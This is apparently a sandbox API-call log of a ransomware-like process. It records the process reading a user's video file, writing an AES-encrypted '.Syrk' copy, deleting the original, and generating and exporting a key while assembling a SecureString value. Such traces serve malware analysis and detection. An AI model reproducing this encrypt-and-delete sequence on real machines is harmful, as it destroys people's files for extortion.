lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0257.186] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", lpFilePart=0x0) returned 0x2d [0257.187] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0257.187] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0257.187] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0257.187] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0257.187] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0257.187] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0257.187] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0257.187] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0257.187] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0257.187] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0257.188] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0257.188] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0257.188] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0257.188] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0257.188] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0257.188] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0257.188] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4")) returned 0x20 [0257.188] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0257.188] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", lpFilePart=0x0) returned 0x2d [0257.191] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0257.191] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", lpFilePart=0x0) returned 0x2d [0257.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0257.191] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0257.191] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", lpFilePart=0x0) returned 0x2d [0257.191] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0257.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0257.192] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0257.192] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0257.192] CoTaskMemFree (pv=0x3b0008) [0257.194] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4")) returned 0x20 [0257.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0257.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4", lpFilePart=0x0) returned 0x2d [0257.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0257.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2471c54 | out: lpFileInformation=0x2471c54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d5c0120, ftCreationTime.dwHighDateTime=0x1d98f1e, ftLastAccessTime.dwLowDateTime=0xa8771040, ftLastAccessTime.dwHighDateTime=0x1d99204, ftLastWriteTime.dwLowDateTime=0xa8771040, ftLastWriteTime.dwHighDateTime=0x1d99204, nFileSizeHigh=0x0, nFileSizeLow=0x6466)) returned 1 [0257.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0257.194] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4")) returned 1 [0257.195] EtwEventActivityIdControl () returned 0x0 [0257.196] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.196] EtwEventActivityIdControl () returned 0x0 [0257.196] EtwEventActivityIdControl () returned 0x0 [0257.196] EtwEventActivityIdControl () returned 0x0 [0257.204] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4.syrk")) returned 0x20 [0257.205] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4.syrk")) returned 0x20 [0257.205] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0257.205] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk", lpFilePart=0x0) returned 0x32 [0257.205] EtwEventActivityIdControl () returned 0x0 [0257.205] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.206] EtwEventActivityIdControl () returned 0x0 [0257.206] EtwEventActivityIdControl () returned 0x0 [0257.206] EtwEventActivityIdControl () returned 0x0 [0257.209] EtwEventActivityIdControl () returned 0x0 [0257.210] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.210] EtwEventActivityIdControl () returned 0x0 [0257.210] EtwEventActivityIdControl () returned 0x0 [0257.210] EtwEventActivityIdControl () returned 0x0 [0257.213] EtwEventActivityIdControl () returned 0x0 [0257.214] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.214] EtwEventActivityIdControl () returned 0x0 [0257.214] EtwEventActivityIdControl () returned 0x0 [0257.214] EtwEventActivityIdControl () returned 0x0 [0257.218] EtwEventActivityIdControl () returned 0x0 [0257.220] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.220] EtwEventActivityIdControl () returned 0x0 [0257.220] EtwEventActivityIdControl () returned 0x0 [0257.220] EtwEventActivityIdControl () returned 0x0 [0257.224] EtwEventActivityIdControl () returned 0x0 [0257.224] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.224] EtwEventActivityIdControl () returned 0x0 [0257.224] EtwEventActivityIdControl () returned 0x0 [0257.224] EtwEventActivityIdControl () returned 0x0 [0257.228] EtwEventActivityIdControl () returned 0x0 [0257.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0257.231] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\TXd5XhbVM_gRmGa.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\txd5xhbvm_grmga.mp4.syrk"), fInfoLevelId=0x0, lpFileInformation=0x247b640 | out: lpFileInformation=0x247b640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14de8450, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x14de8450, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x14e0e5b0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x6484)) returned 1 [0257.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0257.232] GetConsoleOutputCP () returned 0x1b5 [0257.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.233] GetConsoleOutputCP () returned 0x1b5 [0257.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.233] GetConsoleOutputCP () returned 0x1b5 [0257.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.233] GetConsoleOutputCP () returned 0x1b5 [0257.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.234] GetConsoleOutputCP () returned 0x1b5 [0257.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.234] GetConsoleOutputCP () returned 0x1b5 [0257.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.235] GetConsoleOutputCP () returned 0x1b5 [0257.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.235] GetConsoleOutputCP () returned 0x1b5 [0257.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.235] GetConsoleOutputCP () returned 0x1b5 [0257.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.235] GetConsoleOutputCP () returned 0x1b5 [0257.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.236] GetConsoleOutputCP () returned 0x1b5 [0257.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.236] GetConsoleOutputCP () returned 0x1b5 [0257.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.236] GetConsoleOutputCP () returned 0x1b5 [0257.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.236] GetConsoleOutputCP () returned 0x1b5 [0257.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.236] GetConsoleOutputCP () returned 0x1b5 [0257.237] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.237] GetConsoleOutputCP () returned 0x1b5 [0257.237] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.237] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0257.237] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0257.238] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24952a4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24952a4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0257.238] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0257.238] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0257.239] EtwEventActivityIdControl () returned 0x0 [0257.239] EtwEventActivityIdControl () returned 0x0 [0257.239] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.240] EtwEventActivityIdControl () returned 0x0 [0257.240] EtwEventActivityIdControl () returned 0x0 [0257.240] EtwEventActivityIdControl () returned 0x0 [0257.242] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.242] EtwEventActivityIdControl () returned 0x0 [0257.242] EtwEventActivityIdControl () returned 0x0 [0257.242] EtwEventActivityIdControl () returned 0x0 [0257.244] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d430) returned 1 [0257.245] CryptGenKey (in: hProv=0x5c4d430, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99720) returned 1 [0257.245] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.245] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0257.245] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x249cc7c, pdwDataLen=0x5a2e8c4 | out: pbData=0x249cc7c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0257.246] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.246] EtwEventActivityIdControl () returned 0x0 [0257.246] EtwEventActivityIdControl () returned 0x0 [0257.246] EtwEventActivityIdControl () returned 0x0 [0257.247] SysStringLen (param_1="") returned 0x8 [0257.247] SysStringLen (param_1="p") returned 0x8 [0257.247] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.247] SysStringLen (param_1="ﾪjⷡ雁굘꧊盬셒") returned 0x8 [0257.247] SysStringLen (param_1="ﾪjⷡ雁굘꧊盬셒") returned 0x8 [0257.247] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.248] SysStringLen (param_1="pL") returned 0x8 [0257.248] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.248] SysStringLen (param_1="\ⳛ瑤ᣘꃿ匙꯰ꭚ⊍) returned 0x8 [0257.248] SysStringLen (param_1="\ⳛ瑤ᣘꃿ匙꯰ꭚ⊍) returned 0x8 [0257.248] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.248] SysStringLen (param_1="pLf") returned 0x8 [0257.248] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.248] SysStringLen (param_1="✍聯鼔䆏功忥唋⚔") returned 0x8 [0257.248] SysStringLen (param_1="✍聯鼔䆏功忥唋⚔") returned 0x8 [0257.248] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.248] SysStringLen (param_1="pLfD") returned 0x8 [0257.248] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.249] SysStringLen (param_1="౲ﾙ㺒ᣜꅮ쟔ハ\⋙) returned 0x8 [0257.249] SysStringLen (param_1="౲ﾙ㺒ᣜꅮ쟔ハ\⋙) returned 0x8 [0257.249] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.249] SysStringLen (param_1="pLfDQ") returned 0x8 [0257.249] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.249] SysStringLen (param_1="쏚茿┷蝖摪\竘∨) returned 0x8 [0257.249] SysStringLen (param_1="쏚茿┷蝖摪\竘∨) returned 0x8 [0257.249] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.249] SysStringLen (param_1="pLfDQx") returned 0x8 [0257.249] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.249] SysStringLen (param_1="쬢졹㽤膘鴜雿㷿벺") returned 0x8 [0257.249] SysStringLen (param_1="쬢졹㽤膘鴜雿㷿벺") returned 0x8 [0257.249] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.250] SysStringLen (param_1="pLfDQxD") returned 0x8 [0257.250] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.250] SysStringLen (param_1="㦆뺚加㰼秾せ伅") returned 0x8 [0257.250] SysStringLen (param_1="㦆뺚加㰼秾せ伅") returned 0x8 [0257.250] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.250] SysStringLen (param_1="pLfDQxDc") returned 0x8 [0257.250] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.250] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢") returned 0x8 [0257.250] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢") returned 0x8 [0257.250] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢") returned 0x8 [0257.251] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢") returned 0x10 [0257.251] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.251] SysStringLen (param_1="pLfDQxDc2쑤뙵騥ㅔ霍똮ꝙ") returned 0x10 [0257.251] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.251] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢斦基쬨ⴐ愳閤澕זּ") returned 0x10 [0257.251] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢斦基쬨ⴐ愳閤澕זּ") returned 0x10 [0257.251] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.252] SysStringLen (param_1="pLfDQxDc2V뙵騥ㅔ霍똮ꝙ") returned 0x10 [0257.252] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.252] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢秖섅ₕꢾ봼罐鱯") returned 0x10 [0257.252] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢秖섅ₕꢾ봼罐鱯") returned 0x10 [0257.252] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.252] SysStringLen (param_1="pLfDQxDc2V6騥ㅔ霍똮ꝙ") returned 0x10 [0257.252] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.252] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢竱惋垗⇑ᮦ邆몇\⋟) returned 0x10 [0257.252] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢竱惋垗⇑ᮦ邆몇\⋟) returned 0x10 [0257.252] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.252] SysStringLen (param_1="pLfDQxDc2V6Aㅔ霍똮ꝙ") returned 0x10 [0257.252] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.252] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢戉\췝뮫꒶거꽈⊔) returned 0x10 [0257.252] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢戉\췝뮫꒶거꽈⊔) returned 0x10 [0257.253] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.253] SysStringLen (param_1="pLfDQxDc2V6AQ霍똮ꝙ") returned 0x10 [0257.253] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.253] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢웯\xfdeeਫ頴瘪㤦鑘") returned 0x10 [0257.253] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢웯\xfdeeਫ頴瘪㤦鑘") returned 0x10 [0257.253] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.253] SysStringLen (param_1="pLfDQxDc2V6AQw똮ꝙ") returned 0x10 [0257.253] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.253] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢녅顀⸉䴮䖱땹悯蔢") returned 0x10 [0257.253] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢녅顀⸉䴮䖱땹悯蔢") returned 0x10 [0257.253] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.253] SysStringLen (param_1="pLfDQxDc2V6AQwlꝙ") returned 0x10 [0257.253] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.254] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢쪓\䏝᪐몭뿩㼈⋝) returned 0x10 [0257.254] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢쪓\䏝᪐몭뿩㼈⋝) returned 0x10 [0257.254] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.254] SysStringLen (param_1="pLfDQxDc2V6AQwly") returned 0x10 [0257.254] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.254] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏⊓) returned 0x10 [0257.254] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏⊓) returned 0x10 [0257.254] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏⊓) returned 0x10 [0257.255] SysStringLen (param_1="셌ﳱ서⃫못ⅲ앝橢\냛亀阱⸑䢥踶⍏⊓) returned 0x18 [0257.255] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.255] SysStringLen (param_1="pLfDQxDc2V6AQwly8력䘧ꭘ⻁耷㳽帘") returned 